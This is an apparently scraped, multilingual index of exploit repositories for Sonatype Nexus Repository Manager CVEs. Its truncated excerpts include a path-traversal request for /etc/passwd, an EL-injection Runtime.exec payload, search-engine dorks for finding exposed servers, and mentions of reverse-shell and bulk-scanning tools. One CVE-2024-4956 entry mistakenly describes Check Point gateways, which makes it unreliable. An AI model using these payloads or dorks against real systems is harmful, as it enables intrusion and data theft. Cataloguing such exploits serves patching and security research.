Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

Questo script sfrutta la vulnerabilità di injection EL di Nexus Repository Manager 3 CVE-2018-16621 e consente di eseguire l'exploit con un solo comando per ottenere una reverse shell. Esempio di esecuzione: Esegui lo script localmente sulla macchina dell'attaccante e, seguendo le istruzioni,...

CVE-2024-5082

Panoramica Questo repository contiene un proof of concept in Python per CVE-2024-5082 , una vulnerabilità di esecuzione remota di codice in Sonatype Nexus Repository Manager 2. La vulnerabilità consente a un utente con permessi sufficienti di pubblicare un artefatto Maven appositamente creato e...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload root@kitploit: PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

CVE-2020-11444

CVE-2020-11444 Nexus 3 Exploit für Autorisierungslücke Weitere Skriptdateien siehe: https://github.com/zhzyker/exphub Readme root@kitploit: +-----------------------------------------------------------------------------------------------+ + BESCHREIBUNG: von zhzyker, siehe...

CVE-2024-4956

CVE-2024-4956 : Nexus Repository Manager 3 Dork: Shodan:http.html:"Nexus Repository" Hunter:product.name="Nexus Repository" FOFA:app="Nexus-Repository-Manager" Poc : root@kitploit: GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081...

CVE-2020-10204

CVE-2020-10204 CVE-2020-10204 Script per l'esecuzione remota di comandi Per altri script, vedere anche: https://github.com/zhzyker/exphub Readme root@kitploit: +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as...

CVE-2024-4956

CVE-2024-4956 POC - CVE-2024–4956 - Path Traversal non autenticato in Nexus Repository Manager 3 Potenzialmente consente a un attaccante di leggere determinate informazioni sui Check Point Security Gateways una volta connessi a Internet e con le funzionalità Remote Access VPN o Mobile Access...

CVE-2024-4956-Bulk-Scanner

README.md Scanner Bulk CVE-2024-4956 Disclaimer Questo strumento è destinato esclusivamente a scopi educativi e per test in ambienti aziendali. https://twitter.com/nav1n0x/ e https://github.com/ifconfig-me non si assumono alcuna responsabilità per l'uso improprio di questo codice. Utilizzalo a tu...

nmap-scripts

nmap-scripts nmap-Skripte für Schwachstellen cve-2020-0796 & cve-2019-7238 & cve2019-11580 & cve2017-6327 CVE-2020-0796 Eine Sicherheitslücke zur Remotecodeausführung Remote Code Execution existiert in der Art und Weise, wie das Microsoft Server Message Block 3.1.1 SMBv3-Protokoll bestimmte...

CVE-2020-10199_POC-EXP

Versione interessata + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version = 3.21.1 + +----------------------------------------------------------------------------------------------------------+...

CVE-2020-10199

Nexus Repository Manager 3 Vuln versioni interessate: = 3.21.2 CVE-2020-10199, CVE-2020-10204, CVE-2020-11444 CVE-2020-10199 Esecuzione remota di comandi POC con output POC senza output $\A''.getClass.forName'java.lang.Runtime'.getMethods6.invokenull.exec'touch /tmp/cve-2020-10199' Privilegi...

nexus_rce_CVE-2019-7238

nexusrceCVE-2019-7238 Alcune note di debug ed exploit non blind Exploit Usa Burp Suite, è sufficiente modificare ls / -al nella richiesta; nota che le doppie virgolette vengono sostituite con virgolette singole. root@kitploit: POST /service/extdirect HTTP/1.1 Host: localhost User-Agent: Mozilla/5...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager RCE Nexus Repository Manager 3 Esecuzione Remota di Codice senza autenticazione | | \ / | | / /| | | || | / / / / / / | | | / || | |/ || / / // || / / root@kitploit:...

CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager 3 Remote Code Execution ohne Authentifizierung 3.15.0 entdeckt von Rico Tencent Security Yunding Lab und @voidfyoo Detaillierte Analyse englisch:...

CVE-2019-5475-EXP

CVE-2019-5475-EXP CVE-2019-5475-EXP 【Nexus Repository Manager 2.x Remote Code Execution Vulnerability】 Schwachstellenname: Nexus Repository Manager 2.x Remote Code Execution Vulnerability Schwachstellenbeschreibung: Nexus Repository Manager 2.X weist eine Remote-Code-Execution-Schwachstelle auf...

CVE-2024-4956

CVE-2024-4956 - Path Traversal non autenticato in Nexus Repository Manager 3 Nexus Repository Manager è un repository manager che organizza, archivia e distribuisce gli artefatti necessari allo sviluppo. È stata scoperta una vulnerabilità di path traversal in Nexus Repository 3, nelle versioni...

CVE-2020-10199

CVE-2020-10199 Prima, durante un PT penetration test, mi sono imbattuto in un ambiente target con un Nexus Repository Manager installato; dopo alcuni intoppi sono comunque riuscito a ottenere una shell. Ho deciso di documentare l'accaduto, così in futuro sarà più semplice rivedere i passaggi...

Nexus-Repository-Manager-3-CVE-2020-11444-

Questo repository non contiene un README...

CVE-2024-4956-Sonatype-Nexus-Repository-Manager

CVE-2024-4956-Sonatype-Nexus-Repository-Manager O Sonatype Nexus Repository Manager fornece uma plataforma central para armazenar artefatos de build CVE-2024-4956 é uma vulnerabilidade de travessia de caminho path traversal no Sonatype Nexus Repository Manager que permite a um atacante criar uma...